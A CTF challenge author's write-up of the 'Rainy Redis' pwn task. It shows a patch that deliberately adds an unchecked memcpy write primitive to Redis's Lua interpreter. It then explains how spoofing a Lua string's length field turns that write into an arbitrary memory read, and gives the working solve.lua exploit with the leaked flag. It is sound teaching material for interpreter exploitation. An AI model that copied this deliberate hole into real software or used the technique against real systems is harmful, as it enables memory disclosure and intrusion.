BSidesTLV CTF 2021 - 'Rainy Redis' writeup (pwn)
This year, I had the honour to write some challenges for the BSidesTLV conference :^)
I wrote two challenges: ‘Rainy Redis‘(Pwn) and ‘Speed Trivia‘(Web), below is the intended solution / takeaways.
TL;DR: I wanted to create a fun pwn challenge that can be solved in a reasonable timeframe for a CTF competition, but also involves abusing interpreters, corrupting structures & has real-life impact[0]. So I forked a Redis server and added a new method for Lua(called
string.paste()
), which gives the CTF player arbitrary write-what-where primitive on the heap. From there, the player should craft a payload written in Lua in order to corrupt the heap in a way that allows to leak the flag from memory.
Category: Pwn
The task:
- The relevant sources/dockerfile were provided (for testing/writing exploits locally). here
- A Redis server, configured with ACL Rules (allows EVAL only)
- A (slightly) modified version of a Lua interpreter
Lua and Redis
Every Redis server is shipped with a tiny Lua interpreter, containing some basic modules:
This Lua interpreter in Redis allows to perform database transactions.
Because the usage of lua is intended only for redis-related operations(GET
/SET
/etc.): basic lua methods like os.execute()
are not permitted. In fact, Redis made sure to sandbox the Lua environment in a way that older methods to abuse Lua(such as abusing lua bytecode with load
[1]) simply would not work.
This leaves the attacker with one option: Finding vulns in the underlying implementation of Lua(written in C). Examples for older articles about the subject:
- Abusing
loadstring
: Redis EVAL Lua Sandbox Escape - Vulnerabillities in the
cmsgpack
Lua library: Redis Lua scripting: several security vulnerabilities fixed
Challenge Analysis
In the zip file that was provided, there is a Dockerfile which:
- Fetches the sources of a redis server
- Patches the code (with two
.patch
files which we will review soon) - Running
make
to compile the redis server - Launches the redis server with an ACL rule that allows only executing EVAL commands and nothing else.
As expected from a CTF chall, the vulnerabillity was inserted using the .patch
files.
Below is a description of the changes that were made to the Redis server:
p1_lua.diff
A new method was added to the string
Lua library, called string.paste
:
--- redis/deps/lua/src/lstrlib.c 2021-07-15 20:41:26.440551800 +0300
+++ redis/deps/lua/src/lstrlib.c 2021-07-15 20:36:18.949532600 +0300
@@ -824,6 +824,25 @@
}
+static int str_paste (lua_State *L) {
+ int nargs = lua_gettop(L); /* number of arguments */
+ size_t l;
+ if (nargs != 4) {
+ return luaL_argerror(L, 0, "string.paste expects 4 arguments(str1, str2, len_to_paste, skip)");
+ }
+
+ const char *s1 = luaL_checklstring(L, 1, &l);
+ const char *s2 = luaL_checklstring(L, 2, &l);
+ lua_Number len = lua_tonumber(L, 3);
+ lua_Number skip = lua_tonumber(L, 4);
+
+ s2 += (int)skip;
+ memcpy(s2, s1, (size_t)len);
+
+ return 0;
+}
+
+
static const luaL_Reg strlib[] = {
{"byte", str_byte},
{"char", str_char},
@@ -839,6 +858,7 @@
{"rep", str_rep},
{"reverse", str_reverse},
{"sub", str_sub},
+ {"paste", str_paste},
{"upper", str_upper},
{NULL, NULL}
};
As can be seen above, there is mo boudary check before the memcpy
-> which gives us a write-what-where primitive whenever we’re using the string.paste
lua method. Moreover, the descriptive error message of the function gives us a big hint on how to place our arguments when crafting the final payload (“string.paste expects 4 arguments(str1, str2, len_to_paste, skip)“).
p2_scripting_init.diff
In this patch, we added some a hard-coded Lua script that will run during the redis server startup. This loop will run 1000 times and concat the flag’s content with itself. The purpose of this is to trigger memory allocations, ‘spray’ the heap and create copies of the flag in memory.
--- redis/src/scripting.c 2021-06-01 17:03:44.000000000 +0300
+++ redis/src/scripting.c 2021-07-15 20:44:10.429469700 +0300
@@ -1069,6 +1069,13 @@
s[j++]=" return rawget(t, n)\n";
s[j++]="end\n";
s[j++]="debug = nil\n";
+ /* ======== executed during lua state startup ======== */
+ s[j++]="local flag = ''\n";
+ s[j++]="for i = 1,1000,1 do\n";
+ s[j++]=" flag = flag .. 'BSidesTLV2021{demo-flag--demo-flag--demo-flag}'\n";
+ s[j++]="end\n";
+ s[j++]="flag = nil\n"; // clean secret value from Lua context. The flag cannot be available on production env!
+ /* ================================================== */
s[j++]=NULL;
for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));
This also gives the CTF player another hint about the goal: you don’t really have to pop a shell(although that’d be awesome), what you want to aim for is a memory leak.
Let’s pwn
Possible Solutions
Lua’s string.paste
could be abused to fetch the flag in number of ways:
- You can do some heap feng shui (based on size of chunks & calculating offsets, example)
- You can corrupt a Lua-specific type/struct in order to elevate your write primitive into a read primitive & extract the flag from memory.
- Lastly, you can also pop a shell and extract
/proc/self/mem
In this post, we will focus on the 2nd approach. Mainly since the writeup is intended to be beginner-friendly. Also, the 3rd approach will not fit in a single blog-post anyway(last time I tried it with a different interpreter, it costed me 7 long chapters and some sleepless nights).
The TString
struct
Since the redis’ Lua interpreter was modified in the string
module, it’s worth to do some quick research and peek on how strings are represented in Lua.
Below is the TString
structure layout:
/*
** String headers for string table
*/
typedef union TString {
L_Umaxalign dummy; /* ensures maximum alignment for strings */
struct {
CommonHeader;
lu_byte reserved;
unsigned int hash;
size_t len;
} tsv;
} TString;
Right after the len
property: the string begins. It is used as a prefix to understand the length of the string.
Visually, the following Lua variable:
local foo = "Hello World!"
Will be represented in memory like that:
+-------------------+---------------+----------+---------------+-----------+--------------------------+
size | | 8 bytes | 12 bytes |
+-------------------+---------------+----------+---------------+-----------+--------------------------+
| | | | | | |
description | ...heap data... | CoommonHeader | lu_byte | unsigned int | size_t | ...the string itself |
| | fields | reserved | hash | len | |
+--------------------------------------------------------------+-----------+--------------------------+
value | random stuff | <not relevent for this post> | 12 | "Hello world!" |
+--------------------------------------------------------------+-----------+--------------------------+
Hacking a TString
We can use string.paste()
to ‘paste’ 8 bytes from one string to another in a negative offset of -8
, which will overwrite the len
of the TString struct.
local foo = "Hello World!" -- foo has length field of 12
string.paste('AAAAAAAA', foo, 8, -8) -- now foo has length of 0x4141414141414141 :^)
By doing that, we are making the string length to turn from 12 to a very large number.
Now because the length of foo
is a lot bigger, it will disclose the Hello World!
string and anything that comes after it. In other words, you just elevated your ‘blind write-what-where’ abillity into an arbitrary read.
Quite an awesome technique, btw I didn’t re-invent the wheel, this technique(spoofing a string length) is actually a common thing that pwners are trying to achieve when breaking the native layer of a language interpreter[2].
Leaking the flag from memory
Below is the solve.lua
script:
local get_flag = function()
-- step 1: prep vars
local pwnable_str = ''
-- step 2: abusing memcpy to gain a long read primitive
string.paste('AAAAAAAA', pwnable_str, 8, -8)
-- step 3: scan leaked mem until profit ( ͡◕ _ ͡◕)👌
local offset = string.find(pwnable_str, 'BSidesTLV')
return string.sub(pwnable_str, offset, offset+0x100) -- leaking 0x100 bytes
end
return get_flag()
Output:
$ ./redis-cli --user default --pass default-pwd -h rainy-redis.ctf.bsidestlv.com --eval solve.lua
"BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n
-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-
cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w
0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSide
sT"
Flag: BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}
I hope you find this challenge interesting as much as I did :)